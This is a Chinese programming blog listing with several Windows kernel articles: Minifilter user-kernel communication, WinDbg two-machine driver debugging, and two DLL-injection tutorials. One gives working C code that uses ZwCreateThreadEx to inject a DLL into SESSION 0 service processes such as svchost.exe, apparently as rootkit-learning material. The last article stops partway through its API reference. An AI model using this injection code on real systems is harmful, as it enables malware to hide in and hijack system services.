分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019

文章列表

  • Minifilter驱动程序与用户层程序通信

    背景通常 NT 驱动程序与用户层间的通信,可以由用户层调用 CreateFile 函数打开驱动设备并获取设备句柄,然后调用 DeviceIoControl 函数实现用户层数据和内核层数据的交互。
    那么,对于 Minifilter,它是一个 WDM 驱动,它并不像 NT 驱动那样使用常用的方式通信,而是有自己一套函数专门用于数据通信交互。现在,我就把程序的实现过程和原理整理成文档,分享给大家。
    实现过程用户层程序的实现过程导入库文件我们先来介绍下用户层上的程序的实现过程。首先,我们需要包含头文件 fltUser.h 以及库文件 fltLib.lib,这些文件在 VS 中并没有,它们存在于 WDK 中。我们可以设置程序的目录包含路径以及库文件包含路径,也可以将 WDK 中这两个文件拷贝到当前目录中来。我们选择后一种方法,将下面目录下的文件拷贝到当前目录中:

    C:\Program Files (x86)\Windows Kits\8.1\Include\um\fltUser.h
    C:\Program Files (x86)\Windows Kits\8.1\Lib\winv6.3\um\x86\fltLib.lib
    C:\Program Files (x86)\Windows Kits\8.1\Lib\winv6.3\um\x64\fltLib.lib

    那么,我们在程序中声明头文件以及导入库文件的代码为:
    #include "flt\\fltUser.h"#ifdef _WIN32 #pragma comment(lib, "flt\\lib\\x86\\fltLib.lib")#else #pragma comment(lib, "flt\\lib\\x64\\fltLib.lib")#endif
    调用函数实现交互用户层上实现于 Minifilter 内核层的数据交互方法,和用户层与 NT 驱动程序的交互方法很相似,虽然不是 CreateFile 打开对象获取句柄,在调用 DeviceIoControl 交互数据。具体的实现步骤如下:

    首先,调用 FilterConnectCommunicationPort 函数打开通信端口,获取端口的句柄
    然后,调用 FilterSendMessage 函数交互数据,向内核程序传入输入、输出缓冲区
    当交互结束,通信句柄不再使用的时候,调用 CloseHandle 函数关闭句柄

    综合上面 3 个步骤来看,是不是和 NT 驱动程序的交互方式很相似呢?我们通过类比记忆就好。其中,Minifilter 是通过端口的方式来实现数据交互的。具体的实现代码如下所示:
    int _tmain(int argc, _TCHAR* argv[]){ HANDLE hPort = NULL; char szInputBuf[MAX_PATH] = "From User Test!"; char szOutputBuf[MAX_PATH] = { 0 }; DWORD dwInputLen = 1 + ::lstrlen(szInputBuf); DWORD dwOutputLen = MAX_PATH; DWORD dwRet = 0; HRESULT hRet = NULL; // 打开并连接端口, 获取端口句柄. (类似CreateFile) hRet = ::FilterConnectCommunicationPort(PORT_NAME, 0, NULL, 0, NULL, &hPort); if (IS_ERROR(hRet)) { ::MessageBox(NULL, "FilterConnectCommunicationPort", NULL, MB_OK); return 1; } // 向端口发送数据. (类似 DeviceIoControl) hRet = ::FilterSendMessage(hPort, szInputBuf, dwInputLen, szOutputBuf, dwOutputLen, &dwRet); // 类似DeviceIoControl if (IS_ERROR(hRet)) { ::MessageBox(NULL, "FilterSendMessage", NULL, MB_OK); return 2; } // 显示数据 printf("InputBuffer:0x%x\n", szInputBuf); printf("OutputBuffer:0x%x\n", szOutputBuf); system("pause"); return 0;}
    内核层程序的实现过程从上面用户层程序的实现过程来看,和通常的交互方式来看,没有什么大区别,只是调用的函数变了而已。但是,对于内核层,却有很大的改变。
    我们知道,VS2013 里面有向导可以直接创建一个 Minifilter 驱动,可以生成代码框架和 inf 文件,这简化了很多工作。但是,VS2013 开发化境并没有帮我们生成与用户层通信部分的代码,所以,需要我们手动对代码进行更改,实现与用户层的数据通信。具体的步骤如下:
    1.首先,在内核程序的顶头声明 2 个全局变量,保存通信用的服务器端口以及客户端端口;并且声明 3 个回调函数:建立连接回调函数、数据通信回调函数、断开连接回调函数。
    // 端口名称#define PORT_NAME L"\\CommPort"// 服务器端口PFLT_PORT g_ServerPort;// 客户端端口PFLT_PORT g_ClientPort;// 建立连接回调函数NTSTATUS ConnectNotifyCallback( IN PFLT_PORT ClientPort, IN PVOID ServerPortCookies, IN PVOID ConnectionContext, IN ULONG SizeOfContext, OUT PVOID *ConnectionPortCokkie);// 数据通信回调函数NTSTATUS MessageNotifyCallback( IN PVOID PortCookie, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer, IN ULONG OutputBufferLength, OUT PULONG ReturnOutputBufferLength);// 断开连接回调函数VOID DisconnectNotifyCallback(_In_opt_ PVOID ConnectionCookie);
    2.然后,我们来到 DriverEntry 入口点函数,进行修改:

    首先,调用 FltRegisterFilter 注册过滤器
    然后,在使用 FltCreateCommunicationPort 函数创建通信端口之前,需要调用 FltBuildDefaultSecurityDescriptor 函数创建一个默认的安全描述符。其中,FLT_PORT_ALL_ACCESS 表示程序拥有连接到端口、访问端口等所有权限。其中,Minifilter 通常在调用 FltCreateCommunicationPort 函数之前会调用 FltBuildDefaultSecurityDescriptor 函数;在调用完 FltCreateCommunicationPort 函数后,会调用 FltFreeSecurityDescriptor 函数
    接着,调用 FltCreateCommunicationPort 创建通信服务器端口,使得Minifilter 驱动程序可以接收来自用户层程序的连接请求。可以通过该函数设置端口名称、建立连接回调函数、数据通信回调函数、断开连接回调函数、最大连接数等,同时可以获取服务器端口句柄
    然后,调用 FltFreeSecurityDescriptor 函数释放安全描述符
    最后,调用 FltStartFiltering 函数开始启动过滤注册的 Minifilter 驱动程序

    NTSTATUS DriverEntry ( _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath ){ NTSTATUS status; UNREFERENCED_PARAMETER( RegistryPath ); PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, ("Minifilter_Communicate_Test!DriverEntry: Entered\n") ); // // Register with FltMgr to tell it our callback routines // status = FltRegisterFilter( DriverObject, &FilterRegistration, &gFilterHandle ); FLT_ASSERT( NT_SUCCESS( status ) ); if (NT_SUCCESS( status )) { PSECURITY_DESCRIPTOR lpSD = NULL; // 创建安全描述, 注意:要创建这个安全描述,否则不能成功通信 status = FltBuildDefaultSecurityDescriptor(&lpSD, FLT_PORT_ALL_ACCESS); if (!NT_SUCCESS(status)) { KdPrint(("FltBuildDefaultSecurityDescriptor Error[0x%X]", status)); return status; } // 创建于用户层交互的端口 UNICODE_STRING ustrCommPort; OBJECT_ATTRIBUTES objectAttributes; RtlInitUnicodeString(&ustrCommPort, PORT_NAME); InitializeObjectAttributes(&objectAttributes, &ustrCommPort, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, lpSD); status = FltCreateCommunicationPort(gFilterHandle, &g_ServerPort, &objectAttributes, NULL, ConnectNotifyCallback, DisconnectNotifyCallback, MessageNotifyCallback, 1); if (!NT_SUCCESS(status)) { KdPrint(("FltCreateCommunicationPort Error[0x%X]", status)); return status; } // 释放安全描述 FltFreeSecurityDescriptor(lpSD); // // Start filtering i/o // status = FltStartFiltering( gFilterHandle ); if (!NT_SUCCESS( status )) { FltUnregisterFilter( gFilterHandle ); } } return status;}
    其中,建立连接回调函数的代码为:
    NTSTATUS ConnectNotifyCallback( IN PFLT_PORT ClientPort, IN PVOID ServerPortCookies, IN PVOID ConnectionContext, IN ULONG SizeOfContext, OUT PVOID *ConnectionPortCokkie){ PAGED_CODE(); UNREFERENCED_PARAMETER(ServerPortCookies); UNREFERENCED_PARAMETER(ConnectionContext); UNREFERENCED_PARAMETER(SizeOfContext); UNREFERENCED_PARAMETER(ConnectionPortCokkie); // 可以加以判断,禁止非法的连接,从而给予保护 g_ClientPort = ClientPort; // 保存以供以后使用 return STATUS_SUCCESS;}
    只要有连接连接到端口上,就会调用此函数。我们可以在该回调函数中获取客户端的端口句柄。这个客户端端口句柄要保存下来,这样,我们的驱动程序才可以和建立连接的用户层程序使用该客户端句柄进行数据通信。
    其中,断开连接回调函数的代码为:
    VOID DisconnectNotifyCallback(_In_opt_ PVOID ConnectionCookie){ PAGED_CODE(); UNREFERENCED_PARAMETER(ConnectionCookie); // 应该加判断,如果ConnectionCookie == 我们的值就执行这行 FltCloseClientPort(gFilterHandle, &g_ClientPort);}
    每当有连接断开的时候,就会调用该函数。我们需要在此调用 FltCloseClientPort 函数,关闭客户端端口。
    其中,数据交互回调函数的代码为:
    NTSTATUS MessageNotifyCallback( IN PVOID PortCookie, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer, IN ULONG OutputBufferLength, OUT PULONG ReturnOutputBufferLength){ /* 这里要注意: 1.数据地址的对齐. 2.文档建议使用:try/except处理. 3.如果是64位的驱动要考虑32位的EXE发来的请求. */ NTSTATUS status = STATUS_SUCCESS; PAGED_CODE(); UNREFERENCED_PARAMETER(PortCookie); /* 这里输入、输出的地址均是用户空间的地址!!! */ // 显示用户传输来的数据 KdPrint(("[InputBuffer][0x%X]%s\n", InputBuffer, (PCHAR)InputBuffer)); KdPrint(("[OutputBuffer][0x%X]\n", OutputBuffer)); // 返回内核数据到用户空间 CHAR szText[] = "From Kernel Data!"; RtlCopyMemory(OutputBuffer, szText, sizeof(szText)); *ReturnOutputBufferLength = sizeof(szText); return status;}
    每当有数据交互的时候,就会调用此回调函数。我们可以从输入缓冲区中获取来自用户层程序传入的数据。然后对输出缓冲区进行设置,将内核数据输出到用户层中。这个函数和 NT 驱动程序中的 IRP_MJ_DEVICE_CONTRL 消息对应的操作函数类似。
    3.当驱动卸载的时候,要在卸载函数中调用
    // 没有这一行是停止不了驱动的,查询也是永远等待中FltCloseCommunicationPort(g_ServerPort);
    否则,停止不了驱动的,查询也是永远等待中。
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结Minifilter 的通讯结构不难理解,注意和 NT 驱动程序的驱动结构进行类比理解就好。
    要注意该程序的加载,并不像 NT 驱动那样,调用加载程序来加载。WDM驱动,采用 inf 文件的安装方式,但是,一定要注意:MiniFilter生成后,一定要修改 inf中的 Instance1.Altitude = “370030”,即将注释去掉即可。因为每一个 Minifilter 驱动都必须指定一个 Altitude。每一个发组都有自己的一个 Altitude 区间,Altitude 值越高,代表在设备栈里面的位置也越高,也就是越先收到应用层发过来的IRP。
    inf 文件安装驱动方式:

    选中inf文件,鼠标右键,选择“安装”
    安装完毕后,以管理员权限打开cmd,输入“net start 服务名”启动服务
    停止服务则使用命令“net stop 服务名”即可

    同时要注意,程序在判断文件路径的时候,要使用 ExAllocatePool 申请非分页内存,不要直接使用变量,因为使用 FltGetFileNameInformation 获取的路径信息是存储在分页内存中,直接在回调函数中使用会导致蓝屏情况。
    1 回答 2019-02-15 17:40:50
  • 使用WinDbg双机调试SYS无源码驱动程序

    背景有很多学习逆向的小伙伴,逆向一些用户层的程序很熟练了,但是由于没有接触过内核驱动开发,所以对于驱动程序的逆向无从下手。
    对于驱动程序的调试可以分为有源码调试和无源码调试。本文主要讨论无源码驱动程序的调试,也就是逆向驱动程序的方法和步骤。本文演示的是使用 VMware 虚拟机和 WinDbg 程序实现双击调试。
    实现过程VMware虚拟机设置1.打开相应 WMware 虚拟机上的 “Edit virtaul machine settings”。

    2.“Hardware”选项中 —> 点击“Add”,添加一个串口设备 Serial Port 。如果有打印机(Printer)存在,则先移除虚拟机的 打印机 硬件,然后再添加串口设备 Serial Port,因为打印机会占用串口 COM1。

    3.“Next”,在“Serial Port” 里选中 “Output to named pipe”。

    4.“next”,然后如下设置:

    5.“Finish”之后,回到如下“Virtual Machine Settings”页面,在“I/O Mode” 里选中“Yield CPU on poll”。

    6.点击“OK”之后,WMware 虚拟机设置就完成了。接下来,我们开机,进入虚拟机系统中,并对虚拟机系统进行设置,将其设置成调试模式。
    虚拟机里的操作系统设置1.如果操作系统不是 Win10,则开机进入桌面后,在运行窗口输入 msconfig —> 引导 —> 高级选项 —> 调试 —> 确定。

    2.如果操作系统是 Win10,则
    1.在设置 —> 安全和更新 —> 针对开发人员 —> 开发人员模式;

    2.管理员身份运行CMD,输入 bcdedit /set testsigning on 开启测试模式;

    3.在运行窗口输入 msconfig —> 引导 —> 高级选项 —> 调试 —> 确定;

    3.关机重启,这样虚拟机里的操作系统就设置完成了。接下来,就开始在真机系统上对 WinDbg 程序进行设置并下断点调试了。
    使用 WinDbg 程序开始双机调试无源码驱动程序1.我们在真机上以管理员身份运行 WinDbg,点击 File —> Kernel Debug —> COM,然后在 Port中输入:\\.\pipe\com_1,其它都勾选上,点击“确定”。

    2.通常 WinDbg 就会一直显示 等待建立连接(Waiting to reconnect…) 状态,如下面所示:

    3.这时,需要我们点击 Break(Ctrl+Break) 暂停调试。这样,虚拟机就会停下来,我们就可以在 WinDbg 中输入命令。


    4.我们就可以输入命令,使用 WinDbg 程序来调试虚拟机中的操作系统内核。先来介绍些常用的 WinDbg 命令:
    lm :表示列举虚拟机加载和卸载的内核模块起始地址和结束地址。bu、bp :下断点。u、uf :反汇编指定地址处的代码。dd : 查看指定地址处的数据。dt : 查看数据类型定义。
    其中,bu 命令用来设置一个延迟的、以后再求解的断点,对未加载模块中的代码设置断点;当指定模块被加载时,才真正设置这个断点;这对动态加载模块的入口函数或初始化代码处加断点特别有用。
    在模块没有被加载的时候,bp 断点会失败(因为函数地址不存在),而 bu 断点则可以成功。新版的 WinDBG 中 bp 失败后会自动被转成 bu。
    那么,在无源码的驱动程序 .sys 的入口点函数 DriverEntry 中下断点的指令为:
    bp 驱动模块名称+驱动PE结构入口点函数偏移// 如:bp DriverEnum+0x1828
    5.我们演示调试无源码驱动程序 DriverEnum.sys,虚拟机系统环境是 Win10 64位。然后,在 WinDbg 程序中输入指令:bp DriverEnum+0x1828。其中,bp表示下断点;DriverEnum 表示驱动程序 DriverEnum.sys 的驱动模块名称;0x1828 表示驱动程序 DriverEnum.sys 的入口点偏移地址,这个偏移地址可以由 PE 查看工具查看得出,如下图:

    输入完下断点指令后,我们在输入 g,让系统继续执行,直到执行到断点处,便会停下。

    我们,在虚拟机系统里,加载并启动我们的驱动程序 DriverEnum.sys,在启动之后,真机上的 WinDbg 成功在 DriverEnum.sys 的入口点 DriverEntry 处停下。这时,我们可以使用快捷键 F10 或者 F10 步过或者步入来单步调试,还可以继续使用 bp 下多个断点。

    总结步骤并不复杂,只是啰嗦而已。大家细心点跟着上述教程,认真操作就可以成功对无源码的驱动程序的入口点函数 DriverEntry 下断点,实现调试。
    1 回答 2019-02-09 22:44:12
  • 使用VS2013搭建内核开发环境并使用VS2013自带的WinDbg双机调试有源码的驱动程序

    背景想要学习内核 Rootkit 开发,那么第一件事就是要搭建好开发环境,第二件事情就是要了解如何调试驱动代码。这两点区别,和使用 VS2013 开发应用程序完全不同。在内核下,我们使用的是 WinDbg 来双机调试。所谓的双机调试,就是指有两台计算机,一台计算机上面运行要调试的程序,另一台计算机上面运行 WinDbg 来调试程序,两台计算机之间可以通过串口通信。
    本文介绍的是使用 VS2013 开发环境开发驱动程序的环境配置,以及使用 VMWare 虚拟机搭建双机调试环境,实现使用 VS2013 开发环境自带的 WinDbg 调试开发的有源码的驱动程序。现在,我就把实现过程整理成文档,分享给大家。
    实现过程使用 VS2013 开发驱动程序VS2013 要进行驱动开发,必须先安装 WDK8.1,可以在 微软驱动开发官网 上进行下载。注意,下载的 WDK 一定要对应自己的 VS 版本,VS2013 就下载 WDK8.1。
    安装完毕 WDK8.1 之后,我们就可以使用 VS2013 创建驱动项目工程,开发驱动程序了。具体的步骤为:
    1.运行 VS2013 开发环境,点击菜单栏“文件” —> “新建” —> “项目” —> “模板” —> “Visual C++” —> “Windows Driver” —> “Empty WDM Driver”。要注意的是,WDK8.1 提供的模板中没有提供 NT 驱动模板,但是我们可以新建 WDM空模板 工程,然后向工程项目中添加头文件、代码文件,编译链接之后,生成的驱动程序就是 NT 驱动了。

    2.建立工程后,首先会有两个工程,一个就是驱动工程,另外一个是 Package 工程(这个是测试驱动安装的一个工程,对于 NT 驱动来说其实没有什么用处,可以直接删除)。驱动工程中会帮你建立一个 inf 文件,NT是使用不到的(当然新一代的过滤驱动,例如 Minifilter 是使用的,VS2013 支持直接创建 Minifilter 工程),可以直接删除。
    3.由于创建的是一个空项目,所以需要我们自己手动添加代码文件。直接添加一个Driver.c(有很多人说使用C++开发驱动,但是个人还是觉得使用 C 开发比较适合,因为微软内核使用的也是 C,而且 C 是能够直接操作内存。),并声明头文件、编写入口点函数 DriverEntry:

    4.接下来,编译驱动代码,报错。没有关系,查看出错原因,无外乎一些警告被当做错误,或者一些函数参数没有被使用,导致编译不过,这些都是因为安全警告等级太高了,我们可以分两种方式解决:一是将所有的警告和安全措施,全部都做到。例如没有使用的参数使用宏UNREFERENCED_PARAMETER等等。要做到这些,有时候基本没有办法写程序。二是降低警告等级。具体步骤为:
    1.打开项目属性页;
    2.C/C++ —> 常规 —> 警告等级选择“等级3(/W3)” —> 将警告视为错误选择“否(/WX-)”;

    3.链接器 —> 常规 —> 将链接器警告视为错误选择“否(/WX:NO)”;

    4.Driver Signing —> General —> Sign Mode 选择“Off”。

    设置完毕后,再编译链接驱动代码,成功生成 .sys 驱动程序。接下来,我们就开始讲解 WinDbg 双机调试。
    双机调试VMware虚拟机设置1.打开相应 WMware 虚拟机上的 “Edit virtaul machine settings”。

    2.“Hardware”选项中 —> 点击“Add”,添加一个串口设备 Serial Port 。如果有打印机(Printer)存在,则先移除虚拟机的 打印机 硬件,然后再添加串口设备 Serial Port,因为打印机会占用串口 COM1。

    3.“Next”,在“Serial Port” 里选中 “Output to named pipe”。

    4.“next”,然后如下设置:

    5.“Finish”之后,回到如下“Virtual Machine Settings”页面,在“I/O Mode” 里选中“Yield CPU on poll”。

    6.点击“OK”之后,WMware 虚拟机设置就完成了。接下来,我们开机,进入虚拟机系统中,并对虚拟机系统进行设置,将其设置成调试模式。
    虚拟机里的操作系统设置1.如果操作系统不是 Win10,则开机进入桌面后,在运行窗口输入 msconfig —> 引导 —> 高级选项 —> 调试 —> 确定。

    2.如果操作系统是 Win10,则
    1.在设置 —> 安全和更新 —> 针对开发人员 —> 开发人员模式;

    2.管理员身份运行CMD,输入 bcdedit /set testsigning on 开启测试模式;

    3.在运行窗口输入 msconfig —> 引导 —> 高级选项 —> 调试 —> 确定;

    3.关机重启,这样虚拟机里的操作系统就设置完成了。接下来,就开始配置 VS2013,使用 VS2013 上的 WinDbg 调试程序。
    VS2013 驱动调试配置1.点击菜单栏“DRIVER” —> “Test” —> “Configure Computers…”;

    2.然后,点击“Add New Conputer”,添加配置信息。

    3.接着,选中“Manually configure debuggers and do not provision”,点击“下一步”;

    4.最后,选中“Serial”通信,波特率为“115200”,勾选“Pipe”,勾选“Reconnect”,管道名称为“\.\pipe\com_1”,目标端口为“com1”;这只完后,点击下一步即可完成 VS2013 上面的调试配置。

    开始正式调试当配置好 VMware 虚拟机环境以及 VS2013 上面的调试环境之后,我们就可以来调试驱动程序了。调试方法和调试应用程序一样,先下断点、然后运行程序,程序执行到断点处就会停下。但在双机调试下,就会变成:
    1.首先,我们使用快捷键 F9 在驱动程序代码上下断点,再按下 F5 运行程序,会弹出提示框,我们选择继续调试:


    2.这时,驱动程序就一直处于 waiting to reoonnect… 状态。要特别特别特别注意:在 VMware 虚拟机中加载驱动程序之前,我们先在 VS2013 暂停下调试,暂停成功后,再按 F5 继续调试,这时才去 VMware 中加载驱动程序。
    如果不先暂停的话,加载运行驱动程序,代码断点不能成功断下来。暂停之后,可以成功断下来。这可能是一个 Bug 吧,反正大家如果遇到断不下来的情况,都先试试先暂停,再运行调试这种办法吧。


    3.我们到 VMware 中加载运行驱动程序,VS2013 成功在断点处断下。那么,这时,我们就可以使用快捷键 F5、F9、F10、F11,像调试应用层序那样调试驱动程序了。

    总结步骤并不复杂,只是啰嗦而已。大家细心点跟着上述教程,认真操作就可以成功开发驱动程序,并使用 WinDbg 实现双机调试驱动程序源码。
    1 回答 2019-02-09 11:38:26
  • 突破SESSION0隔离的的远线程注入DLL技术剖析

    背景之前写过 “传统的远线程注入DLL技术剖析“ 这篇文章,里面主要介绍使用传统的 CreateRemoteThread 函数来实现向指定进程注入 DLL。但是,这种方法有一个问题就是,不能突破 SESSION 0 隔离。也就是不能成功将指定 DLL 注入到系统服务进程中。
    现在,我们来介绍另一种的远线程注入 DLL,它可以突破 SESSION 0 隔离,成功注入 DLL。现在我就把实现过程和原理整理成文档,分享给大家。
    实现原理和传统的 CreateRemoteThread 函数实现的远线程注入 DLL 的唯一一个区别就是,我们这次是使用 Z我Create ThreadEx 函数来实现创建远线程。其它的均和传统的实现方法是一样的,原理也是一样的。
    使用 ZwCreateThreadEx 函数可以突破 SESSION 0 隔离,成功将 DLL 注入到 SESSION 0 的系统服务进程中。其中,ZwCreateThreadEx 在 ntdll.dll 中并没有声明,所以我们需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。
    64 位下,ZwCreateThreadEx 函数声明为:
    DWORD WINAPI ZwCreateThreadEx( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);
    32 位下,ZwCreateThreadEx 函数声明为:
    DWORD WINAPI ZwCreateThreadEx( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);
    编码实现// 使用 ZwCreateThreadEx 实现远线程注入BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char *pszDllFileName){ HANDLE hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; HANDLE hRemoteThread = NULL; DWORD dwStatus = 0; // 打开注入进程,获取进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } // 在注入进程中申请内存 dwSize = 1 + ::lstrlen(pszDllFileName); pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError("VirtualAllocEx"); return FALSE; } // 向申请的内存中写入数据 if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory"); return FALSE; } // 加载 ntdll.dll HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll"); if (NULL == hNtdllDll) { ShowError("LoadLirbary"); return FALSE; } // 获取LoadLibraryA函数地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA"); return FALSE; } // 获取ZwCreateThread函数地址#ifdef _WIN64 typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);#else typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);#endif typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx"); if (NULL == ZwCreateThreadEx) { ShowError("GetProcAddress_ZwCreateThread"); return FALSE; } // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入 dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL); if (NULL == hRemoteThread) { ShowError("ZwCreateThreadEx"); return FALSE; } // 关闭句柄 ::CloseHandle(hProcess); ::FreeLibrary(hNtdllDll); return TRUE;}
    程序测试我们对 svchost.exe 进程,处于 SESSION 0 中,以管理员权限运行我们的程序,注入我们的测试 DLL,DLL 成功注入到 svchost.exe 进程空间中:

    总结要注意以管理员权限运行程序,因为由于 OpenProcess 函数的缘故,打开高权限的进程时,会因进程权限不足而无法打开进程,获取进程句柄。其中,我们将当前进程令牌权限提升至 SE_DEBUG_NAME权限,具体的进程令牌权限提升可以参考 “使用AdjustTokenPrivileges函数提升进程访问令牌的权限“ 这篇文章。
    与传统的 CreateRemoteThread 相比,就是创建远线程时使用的函数不同之外,其它都是相同的,而且原理部分也是相同的。
    其中,要特别注意一点就是,ZwCreateThreadEx 函数在 32 位和 64 位系统下,它的函数声明中的参数是有区别的,一定要区分开来。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2019-01-12 20:44:42
  • 传统的远线程注入DLL技术剖析

    背景想必很多人应该都听说过远线程注入DLL技术这个概念,的确,这是一个很巧妙,也很经典的DLL注入技术。为何说是巧妙,等你看完这篇文章就了解了。
    本文讲解的是传统的远线程注入方法,也就是使用 CreateRemoteThread 函数实现的。那么,之所以说是传统,是因为在讲完传统的远线程注入方法后,我们会介绍目前最新的远线程注入方式,注入功能比传统的还要强大。
    现在,我就先讲解传统的远线程注入,把实现过程和原理整理成文档,分享给大家。
    函数介绍OpenProcess 函数
    打开现有的本地进程对象。
    函数声明
    HANDLE WINAPI OpenProcess( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId);
    参数

    dwDesiredAccess [in]访问进程对象。此访问权限针对进程的安全描述符进行检查。此参数可以是一个或多个进程访问权限。如果调用该函数的进程启用了SeDebugPrivilege权限,则无论安全描述符的内容如何,都会授予所请求的访问权限。bInheritHandle [in]若此值为TRUE,则此进程创建的进程将继承该句柄。否则,进程不会继承此句柄。dwProcessId [in]要打开的本地进程的标识符。如果指定的进程是系统进程(0x00000000),则该函数失败,最后一个错误代码为ERROR_INVALID_PARAMETER。如果指定的进程是空闲进程或CSRSS进程之一,则此功能将失败,并且最后一个错误代码为ERROR_ACCESS_DENIED,因为它们的访问限制会阻止用户级代码打开它们。如果您使用GetCurrentProcessId作为此函数的参数,请考虑使用GetCurrentProcess而不是OpenProcess,以提高性能。
    返回值

    如果函数成功,则返回值是指定进程的打开句柄。如果函数失败,返回值为NULL。 要获取扩展错误信息,请调用GetLastError。

    VirtualAllocEx 函数
    在指定进程的虚拟地址空间内保留,提交或更改内存区域的状态。 该函数初始化其分配给零的内存。
    函数声明
    LPVOID WINAPI VirtualAllocEx( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
    参数

    hProcess [in]过程的句柄。该函数在该进程的虚拟地址空间内分配内存。句柄必须具有PROCESS_VM_OPERATION权限。有关更多信息,请参阅流程安全和访问权限。
    lpAddress [in]指定要分配的页面的所需起始地址的指针。如果您正在保留内存,则该函数会将该地址舍入到分配粒度的最接近的倍数。如果您提交已经保留的内存,该功能会将该地址舍入到最接近的页面边界。要确定页面的大小和主机上的分配粒度,请使用GetSystemInfo函数。如果lpAddress为NULL,则该函数确定在哪里分配该区域。
    dwSize [in]要分配的内存大小,以字节为单位。如果lpAddress为NULL,则函数将dwSize循环到下一个页面边界。如果lpAddress不为NULL,则该函数将从lpAddress到lpAddress + dwSize的范围内分配包含一个或多个字节的所有页面。这意味着,例如,跨越页面边界的2字节范围会导致功能分配两个页面。
    flAllocationType [in]内存分配类型。此参数必须包含以下值之一:




    VALUE
    MEANING




    MEM_COMMIT
    为指定的预留内存页分配内存费用(从磁盘上的内存和分页文件的总体大小)。 该函数还保证当调用者稍后初次访问存储器时,内容将为零。 除非/直到虚拟地址被实际访问,实际的物理页面才被分配


    MEM_RESERVE
    保留进程的虚拟地址空间的范围,而不会在内存或磁盘上的分页文件中分配任何实际物理存储


    MEM_RESET
    表示由lpAddress和dwSize指定的内存范围内的数据不再受关注。 页面不应从页面文件中读取或写入页面文件。 然而,内存块将在以后再次被使用,所以不应该被分解。 该值不能与任何其他值一起使用


    MEM_RESET_UNDO
    只能在早期成功应用了MEM_RESET的地址范围上调用MEM_RESET_UNDO。 它指示由lpAddress和dwSize指定的指定内存范围内的数据对呼叫者感兴趣,并尝试反转MEM_RESET的影响。 如果功能成功,则表示指定地址范围内的所有数据都是完整的。 如果功能失败,地址范围中的至少一些数据已被替换为零




    flProtect [in]要分配的页面区域的内存保护。 如果页面被提交,您可以指定任何一个内存保护常量。如果lpAddress指定了一个地址,flProtect不能是以下值之一:PAGE_NOACCESSPAGE_GUARDPAGE_NOCACHEPAGE_WRITECOMBINE
    返回值

    如果函数成功,则返回值是分配的页面区域的基址。如果函数失败,返回值为NULL。 要获取扩展错误信息,请调用GetLastError。

    WriteProcessMemory 函数
    在指定的进程中将数据写入内存区域。 要写入的整个区域必须可访问或操作失败。
    函数声明
    BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten);
    参数

